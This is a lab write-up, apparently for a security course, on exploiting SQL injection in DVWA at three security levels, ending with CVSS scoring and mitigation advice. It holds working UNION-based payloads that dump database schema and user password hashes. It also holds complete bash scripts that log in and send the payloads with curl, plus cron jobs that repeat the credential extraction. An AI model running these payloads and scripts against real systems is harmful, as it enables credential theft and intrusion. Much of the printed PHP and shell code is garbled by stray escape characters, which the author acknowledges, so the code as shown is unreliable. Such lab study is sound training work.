SQL Injection in DVWA

1 Introduction
In this post, the SQL Injection vulnerability in the Damn Vulnerable Web Application (DVWA) is described. The objective for attacks on all levels is to extract user login credentials.
The creators of DVWA describe the SQL injection module in the following way:
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system (load_file) and in some cases issue commands to the operating system.
SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.
This attack may also be called "SQLi".
2 Lab environment
The penetration test is performed using virtual machines set up on Oracle VirtualBox. The VM specifications can be viewed in table 1 below.
.
Table 1
Lab environment setup.
| Vulnerable DVWA client | Attacker device | |
|---|---|---|
| IP address | 192.168.56.105 | 192.168.56.101 |
| Operating system | Kali GNU/Linux Rolling | Kali GNU/Linux Rolling |
| Network | Host-only Adapter | Host-only Adapter |
3 Vulnerability description
For the low security level, the page vulnerable to SQL injection consists of a user ID input field and a submit button, see figure 1 below. The source code reveals that direct user input is inserted into the SQL query and that the ID value is wrapped in quotes, but is not sanitized or validated. There are no prepared statements and no input filtering.
.
Figure 1
The SQL injection page in DVWA on the low security level.
.
vulnerabilities/sqli/source/low.php:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
\(id = \)_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
\(query = "SELECT first_name, last_name FROM users WHERE user_id = '\)id';";
\(result = mysqli_query(\)GLOBALS["___mysqli_ston"], \(query ) or die( '<pre>' . ((is_object(\)GLOBALS["___mysqli_ston"])) ? mysqli_error(\(GLOBALS["___mysqli_ston"]) : ((\)___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( \(row = mysqli_fetch_assoc( \)result ) ) {
// Get values
\(first = \)row["first_name"];
\(last = \)row["last_name"];
// Feedback for end user
echo "<pre>ID: {\(id}<br />First name: {\)first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#\(sqlite_db_connection = new SQLite3(\)_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
\(query = "SELECT first_name, last_name FROM users WHERE user_id = '\)id';";
#print $query;
try {
\(results = \)sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while (\(row = \)results->fetchArray()) {
// Get values
\(first = \)row["first_name"];
\(last = \)row["last_name"];
// Feedback for end user
echo "<pre>ID: {\(id}<br />First name: {\)first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
.
For the medium security level, the page vulnerable to SQL injection consists of a user ID list and a submit button, see figure 2. The source code reveals that mysqli_real_escape_string() is used to escape special characters, but the ID value is not placed inside quotes. The variable is not type-checked and the input is not strictly enforced as numeric.
.
Figure 2
The SQL injection page in DVWA on the medium security level.
.
vulnerabilities/sqli/source/medium.php:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
\(id = \)_POST[ 'id' ];
\(id = mysqli_real_escape_string(\)GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
\(query = "SELECT first_name, last_name FROM users WHERE user_id = \)id;";
\(result = mysqli_query(\)GLOBALS["___mysqli_ston"], \(query) or die( '<pre>' . mysqli_error(\)GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( \(row = mysqli_fetch_assoc( \)result ) ) {
// Display values
\(first = \)row["first_name"];
\(last = \)row["last_name"];
// Feedback for end user
echo "<pre>ID: {\(id}<br />First name: {\)first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
\(query = "SELECT first_name, last_name FROM users WHERE user_id = \)id;";
#print $query;
try {
\(results = \)sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while (\(row = \)results->fetchArray()) {
// Get values
\(first = \)row["first_name"];
\(last = \)row["last_name"];
// Feedback for end user
echo "<pre>ID: {\(id}<br />First name: {\)first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
\(result = mysqli_query(\)GLOBALS["___mysqli_ston"], \(query ) or die( '<pre>' . ((is_object(\)GLOBALS["___mysqli_ston"])) ? mysqli_error(\(GLOBALS["___mysqli_ston"]) : ((\)___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
\(number_of_rows = mysqli_fetch_row( \)result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
.
For the high security level, the page vulnerable to SQL injection consists of a link to change ID that opens a new window with a user ID input field and a submit button, see figure 3. The source code reveals that the ID value comes from $_SESSION instead of directly from user input. There is no escaping, no prepared statements, and no input validation.
.
Figure 3
The SQL injection page in DVWA on the high security level.
.
vulnerabilities/sqli/source/high.php:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
\(id = \)_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
\(query = "SELECT first_name, last_name FROM users WHERE user_id = '\)id' LIMIT 1;";
\(result = mysqli_query(\)GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( \(row = mysqli_fetch_assoc( \)result ) ) {
// Get values
\(first = \)row["first_name"];
\(last = \)row["last_name"];
// Feedback for end user
echo "<pre>ID: {\(id}<br />First name: {\)first}<br />Surname: {$last}</pre>";
}
((is_null(\(___mysqli_res = mysqli_close(\)GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
\(query = "SELECT first_name, last_name FROM users WHERE user_id = '\)id' LIMIT 1;";
#print $query;
try {
\(results = \)sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while (\(row = \)results->fetchArray()) {
// Get values
\(first = \)row["first_name"];
\(last = \)row["last_name"];
// Feedback for end user
echo "<pre>ID: {\(id}<br />First name: {\)first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
4 Attack steps
In this section, the attack steps are mapped to the Cyber Kill Chain. The screencast of the attack can be viewed here:
.
4.1 Reconnaissance
For the low and high security levels, there are free-text input fields vulnerable to SQL injection. For the medium security level, the input field has been replaced with a predefined dropdown list of ID values. This client-side restriction, however, does not prevent manipulation of the underlying request. By using the browser developer tools on the web page vulnerable to SQL injection, it is possible to alter the value of the id parameter before submission.
Submitting a valid numeric ID confirms that the functionality is database-backed and entering ' ORDER BY n# (or 1 ORDER BY n# for the medium security level) with incrementing values of n reveals that the query returns two columns, as errors occur when n exceeds 2. Submitting a malformed input, such as '--, reveals that the backend database is MariaDB/MySQL. Researching MySQL reveals the existence of the information_schema database, which stores metadata such as table and column names. Using the browser developer tools on the web page vulnerable to SQL injection, it is observed that the request method is GET for the low security level, POST for the medium security level, and a combination of GET and POST for the high security level. User input is passed as the id parameter, the request includes Submit=Submit, and session handling relies on cookies consisting of a PHP session ID and the selected security level.
Inspection of the application login page also reveals that there is a hidden user token in the html, which along with the cookies, username, and password are needed to log in. Admin login credentials are already known in this case (username=admin, password=password), but could easily have been guessed or been extracted during a previous attack.
The reconnaissance confirms that the id parameter is vulnerable to SQL injection, the database is MySQL compatible, the attack surface is the id GET or POST parameter (depending on the security level), and session handling must be maintained for successful exploitation. The dropdown list on medium security level also confirms that client-side input restrictions do not prevent server-side exploitation.
.
4.2 Weaponization
Using reconnaissance findings, SQL payloads are crafted for revealing table names, column names, and extracting user login credentials. Payloads intended to be delivered via the input field in the application interface are created, as well as via an executable shell script. Although one delivery method is enough, two methods are tested to provide alternatives. The payloads intended to be delivered via the URL in the shell script are encoded using an online URL encoder tool.
Unlike the low and high security levels, the medium security level breaks if ' is included in the SQL statements. The payloads have therefore been altered to begin with 1 instead of ', and table_name = 'users'# has been replaced with table_name = 0x7573657273#, where the numbers represent 'users' in hex.
.
The payloads and executable shell scripts are available below in this post, but they are also available on GitHub. I have noticed that there are sometimes discrepancies in the code in the final post compared to the draft, which might have something to do with the use of markdown on Hashnode, although I am not entirely sure. So, if the code in this post does not work, please try the code on GitHub instead. The GitHub repository can be found here:
https://github.com/wikblo-0/SQL_Injection_in_DVWA
.
4.2.1 Individual payloads
The following payloads are intended to be delivered via the input field or via HTML alteration.
.
SQL payload for revealing database table names on the low and high security levels:
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database()#
.
SQL payload for revealing database table names on the medium security level:
1 UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database()#
.
SQL payload for revealing column names in the user table on the low and high security levels:
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users'#
.
SQL payload for revealing column names in the user table on the medium security level:
1 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 0x7573657273#
.
SQL payload for extracting user login credentials on the low and high security levels:
' UNION SELECT user, password FROM users#
.
SQL payload for extracting user login credentials on the medium security level:
1 UNION SELECT user, password FROM users#
.
4.2.2 Executable shell script
The following executable script retrieves the login page and extracts the cookies, containing the session ID, and the user token, and then logs in as admin. URL-encoded SQL injection payloads are sent and the results are logged in local files. Follow the steps below to set it up:
Open the command line and create a file with the following command:
nano /home/kali/scraper.shPaste the following contents for the low security level:
#!/bin/bash
SECURITY="low" #security level
USER="admin" #username
PASS="password" #password
rm cookies.txt #removes old file with cookies
#saves login cookies and login page html to local files
curl -s -c cookies.txt \
-b "security=$SECURITY" \
http://192.168.56.105/DVWA/login.php \
>login.html
TOKEN=$(grep -oP "name='user_token' value='\K[^']+" login.html) #saves user token variable found in login html
PHPSESSID=\((awk '\)6=="PHPSESSID"{print $7}' cookies.txt) #saves PHP session ID found in cookies
#logs in using cookies and user token
curl -s -b cookies.txt \
-b "security=$SECURITY" \
-d "username=\(USER&password=\)PASS&user_token=$TOKEN&Login=Login" \
http://192.168.56.105/DVWA/login.php
#saves result of table name retrieval to local log file
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve table names..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
"http://192.168.56.105/DVWA/vulnerabilities/sqli/?id=%27%20UNION%20SELECT%20table_name%2C%20NULL%20%20FROM%20information_schema.tables%20%20WHERE%20table_schema%20%3D%20database%28%29%23&Submit=Submit")
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+' #Removes header (First name:) from result
}> /home/kali/sqli_low1.log
#saves result of column name retrieval to local log file
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve column names..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
"http://192.168.56.105/DVWA/vulnerabilities/sqli/?id=%27%20UNION%20SELECT%20column_name%2C%20NULL%20%20FROM%20information_schema.columns%20%20WHERE%20table_name%20%3D%20%27users%27%23&Submit=Submit")
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+' #Removes header (First name:) from result
}> /home/kali/sqli_low2.log
#saves result of credential retrieval to local log file
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve credentials..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
"http://192.168.56.105/DVWA/vulnerabilities/sqli/?id=%27%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit")
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+|Surname: \K[^<]+' | paste - - #Removes header (First name:) from result. Returns username and password on the same line
}> /home/kali/sqli_low3.log
.
or this for the medium security level:
#!/bin/bash
SECURITY="medium" #security level
USER="admin" #username
PASS="password" #password
rm cookies.txt #removes old file with cookies
#saves login cookies and login page html to local files
curl -s -c cookies.txt \
-b "security=$SECURITY" \
http://192.168.56.105/DVWA/login.php \
>login.html
TOKEN=$(grep -oP "name='user_token' value='\K[^']+" login.html) #saves user token variable found in login html
PHPSESSID=\((awk '\)6=="PHPSESSID"{print $7}' cookies.txt) #saves PHP session ID found in cookies
#logs in using cookies and user token
curl -s -b cookies.txt \
-b "security=$SECURITY" \
-d "username=\(USER&password=\)PASS&user_token=$TOKEN&Login=Login" \
http://192.168.56.105/DVWA/login.php
#saves result of table name retrieval to local log file
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve table names..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-d "id=1 UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database()#&Submit=Submit" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/)
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+' | tail -n +2 #Removes header (First name:) from result and removes the first line (admin admin)
}> /home/kali/sqli_medium1.log
#saves result of column name retrieval to local log file
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve column names..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-d "id=1 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 0x7573657273#&Submit=Submit" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/)
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+' | tail -n +2 #Removes header (First name:) from result and removes the first line (admin admin)
}> /home/kali/sqli_medium2.log
#saves result of credential retrieval to local log file
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve credentials..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-d "id=1 UNION SELECT user, password FROM users#&Submit=Submit" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/)
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+|Surname: \K[^<]+' | paste - - | tail -n +2 #Removes header (First name:) from result and removes the first line (admin admin). Returns username and password on the same line
}> /home/kali/sqli_medium3.log
.
or this for the high security level:
#!/bin/bash
SECURITY="high" #security level
USER="admin" #username
PASS="password" #password
rm cookies.txt #removes old file with cookies
#saves login cookies and login page html to local files
curl -s -c cookies.txt \
-b "security=$SECURITY" \
http://192.168.56.105/DVWA/login.php \
>login.html
TOKEN=$(grep -oP "name='user_token' value='\K[^']+" login.html) #saves user token variable found in login html
PHPSESSID=\((awk '\)6=="PHPSESSID"{print $7}' cookies.txt) #saves PHP session ID found in cookies
#logs in using cookies and user token
curl -s -b cookies.txt \
-b "security=$SECURITY" \
-d "username=\(USER&password=\)PASS&user_token=$TOKEN&Login=Login" \
http://192.168.56.105/DVWA/login.php
#saves result of table name retrieval to local log file
#Sends payload
curl -S -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-d "id=' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database()#&Submit=Submit" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/session-input.php
#Retrieves result
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve table names..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/)
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+' #Removes header (First name:) from result
}> /home/kali/sqli_high1.log
#saves result of column name retrieval to local log file
#Sends payload
curl -s -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-d "id=' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/session-input.php
#Retrieves result
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve column names..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/)
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+' #Removes header (First name:) from result
}> /home/kali/sqli_high2.log
#saves result of credential retrieval to local log file
#Sends payload
curl -s -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-d "id=' UNION SELECT user, password FROM users#&Submit=Submit" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/session-input.php
#Retrieves result
{
echo "Security level: $SECURITY"
echo "Attempting to retrieve credentials..."
echo "---------------------------------------------------"
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
http://192.168.56.105/DVWA/vulnerabilities/sqli/)
echo "$RESPONSE" | grep -oP 'First name: \K[^<]+|Surname: \K[^<]+' | paste - - #Removes header (First name:) from result. Returns username and password on the same line
}> /home/kali/sqli_high3.log
Save file (ctrl + x, y, enter).
Make the file executable with the following command:
chmod +x /home/kali/scraper.sh
.
4.3 Delivery
The SQL payloads that were crafted during the weaponization are delivered via the vulnerable input field in the application for the low and high security levels. For the medium security level, they are instead delivered via HTML alteration using the browser developer tools. As an alternative, they are also delivered through the executable shell script via a scheduled execution using cron. The scheduled execution is set up according to the following:
Open crontab using the following command:
crontab -eAdd the following for execution every 10 minutes:
*/10 * * * * /home/kali/scraper.shSave file (ctrl + x, y, enter).
Check the crontab with the following command:
crontab -lCheck directory for log files using the following commands:
cat /home/kali/sqli_low1.logcat /home/kali/sqli_low2.logcat /home/kali/sqli_low3.logcat /home/kali/sqli_medium1.logcat /home/kali/sqli_medium2.logcat /home/kali/sqli_medium3.logcat /home/kali/sqli_high1.logcat /home/kali/sqli_high2.logcat /home/kali/sqli_high3.log
.
4.4 Exploitation
Due to improper input sanitization and lack of prepared statements, the application concatenates user input directly into SQL queries, executes injected SQL commands, and returns database output in HTTP responses. Successful exploitation results in disclosure of table names and column names, as well as extraction of usernames and password hashes.
.
4.5 Installation
While no malware is installed on the target server, persistence is established on the attacker-controlled system by creating an executable automation script and scheduling recurring execution using cron. This ensures continued automated data extraction without manual interaction. In a real-world scenario, installation could involve uploading a web shell, creating a new database user, or modifying application files.
.
4.6 Command and Control
While there is no traditional command and control infrastructure in this attack, an authenticated session is maintained via cookies, there is periodic automated communication through scheduled HTTP requests, and exfiltrated data is retrieved through local log files. The attack channel is standard HTTP communication between attacker and web server.
.
4.7 Actions on Objectives
The attack objective is user login credentials extraction. The outcome includes successful enumeration of database schema and extraction of usernames and password hashes. The credentials can potentially be cracked offline, reused in other authentication areas, or used for privilege escalation within the application.
5 Evidence of attack success
Evidence of attack success can be viewed for each security level below.
.
5.1 Low security level
Evidence of attack success on the low security level can be viewed in figure 4-9.
.
Figure 4
Extracting table names via input field on the low security level.
.
Figure 5
Extracting column names via input field on the low security level.
.
Figure 6
Extracting user login credentials via input field on the low security level.
.
Figure 7
Table names extracted to log file on the low security level.
.
Figure 8
Column names extracted to log file on the low security level.
.
Figure 9
Credentials extracted to log file on the low security level.
.
5.2 Medium security level
Evidence of attack success on the medium security level can be viewed in figure 10-18.
.
Figure 10
Extracting table names via HTML alteration on the medium security level, part 1.
.
Figure 11
Extracting table names via HTML alteration on the medium security level, part 2.
.
Figure 12
Extracting column names via HTML alteration on the medium security level, part 1.
.
Figure 13
Extracting column names via HTML alteration on the medium security level, part 2.
.
Figure 14
Extracting user login credentials via HTML alteration on the medium security level, part 1.
.
Figure 15
Extracting user login credentials via HTML alteration on the medium security level, part 2.
.
Figure 16
Table names extracted to log file on the medium security level.
.
Figure 17
Column names extracted to log file on the medium security level.
.
Figure 18
Credentials extracted to log file on the medium security level.
.
5.3 High security level
Evidence of attack success on the high security level can be viewed in figure 19-24.
.
Figure 19
Extracting table names via input field on the high security level.
.
Figure 20
Extracting column names via input field on the high security level.
.
Figure 21
Extracting user login credentials via input field on the high security level.
.
Figure 22
Table names extracted to log file on the high security level.
.
Figure 23
Column names extracted to log file on the high security level.
.
Figure 24
Credentials extracted to log file on the high security level.
6 Impact analysis (CIA)
The attack primarily affects confidentiality, as it enumerated database tables and column names, extracted usernames and password hashes, and potentially enabled offline password cracking. Thereby, sensitive data was disclosed without authorization, attackers gained access to credential material, and the attacker could potentially pivot or escalate privileges. In a real-world system, this could expose customer data, personal identifiable information, financial records, and internal credentials.
The performed attack focused on data extraction, but SQL injection could theoretically be used to modify, remove, or add data, create new admin users, or escalate privileges, which would affect the integrity. SQL injection could also theoretically be used to drop tables, lock tables, trigger heavy queries causing denial of service, and crash the database, affecting availability.
7 Severity assessment (CVSS v4.0)
The vulnerability scores 9.4 (Critical) using the Common Vulnerability Scoring System (CVSS), version 4.0. For this calculation, the online FIRST CVSS v4.0 calculator was used (https://www.first.org/cvss/calculator/4.0#).
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
.
7.1 Exploitability metrics
The attack vector is network, as the vulnerability is exploited through HTTP requests to the web application over the network. The attack complexity is low, as the attack only requires crafting SQL payloads and sending them through a parameter without any special race conditions or environmental factors. The attack requirements are none, as no special conditions are needed, and the required privileges are low, as the attacker must be authenticated in DVWA to access the vulnerable page. The needed user interaction is none, as no victim interaction is required. An overview of this can be found in table 2.
.
Table 2
Exploitability metrics.
| Metric | Result |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Attack Requirements (AT) | None (N) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | None (N) |
.
7.2 Vulnerable system impact metrics
The vulnerable confidentiality impact is high, as the attack reveals database schema, usernames and password hashes, which are sensitive information. While no vulnerable integrity and availability impact are achieved in this attack, it is possible for SQL injection to be used for data modification and interruption of service. Attackers could modify or delete database records, create new users, or alter application data, as well as drop tables, or execute heavy queries that disrupt services. They are therefore scored high here. An overview of this can be found in table 3.
.
Table 3
Vulnerable system impact metrics.
| Metric | Result |
|---|---|
| Confidentiality (VC) | High (H) |
| Integrity (VI) | High (H) |
| Availability (VA) | High (H) |
.
7.3 Subsequent system impact metrics
The subsequent confidentiality impact is high, as credentials obtained through SQL injection could be used to compromise other systems through credential reuse or lateral movement. The stolen credentials could thereby expose other systems or services. The subsequent integrity impact is high, as compromised credentials could potentially allow modification of other systems. The subsequent availability impact is high, as the same database could potentially be used for other systems, meaning that SQL injection could cause service disruption if data is deleted or modified. An overview of this can be found in table 4.
.
Table 4
Subsequent system impact metrics.
| Metric | Result |
|---|---|
| Confidentiality (SC) | High (H) |
| Integrity (SI) | High (H) |
| Availability (SA) | High (H) |
8 Mitigation strategies
Instead of concatenating user input directly into SQL, parameterized queries, i.e. prepared statements, could have been used to ensure that input is treated strictly as data, SQL structure cannot be altered, and injection becomes impossible. Input validation should also be used to only allow expected formats, reject everything else and use strict type validation. Least privilege database accounts should be used, which might have prevented the information_schema from being accessed and made enumeration harder. Detailed error messages should also be disabled, which might have prevented the attacker from learning the database type.
A web application firewall could potentially have detected SQL keywords, blocked suspicious patterns, and provided virtual patching, and proper password storage with strong hashing, unique salts, and slow hashing algorithms could potentially have mitigated post-exploitation damage. Lastly, possible mitigations include secure session handling by ensuring HttpOnly cookies, secure flags, and regeneration of session ID after login, and prioritizing the secure development lifecycle through code reviews, static and dynamic application security testing, and regular penetration testing.
.
8.1 The impossible security level in DVWA
On the impossible security level, the SQL injection page consists of a user ID input field and a submit button. The source code reveals that user input is validated with is_numeric() and casted to integer using intval(), prepared statements are used, and parameter binding with PDO::PARAM_INT is used. Results are limited to a single row, and CSRF tokens are validated.
.
vulnerabilities/sqli/source/impossible.php:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( \(_REQUEST[ 'user_token' ], \)_SESSION[ 'session_token' ], 'index.php' );
// Get input
\(id = \)_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
\(id = intval (\)id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
\(data = \)db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
\(data->bindParam( ':id', \)id, PDO::PARAM_INT );
$data->execute();
\(row = \)data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
\(first = \)row[ 'first_name' ];
\(last = \)row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {\(id}<br />First name: {\)first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
\(stmt = \)sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
\(stmt->bindValue(':id',\)id,SQLITE3_INTEGER);
\(result = \)stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
\(num_columns = \)result->numColumns();
if ($num_columns == 2) {
\(row = \)result->fetchArray();
// Get values
\(first = \)row[ 'first_name' ];
\(last = \)row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {\(id}<br />First name: {\)first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>






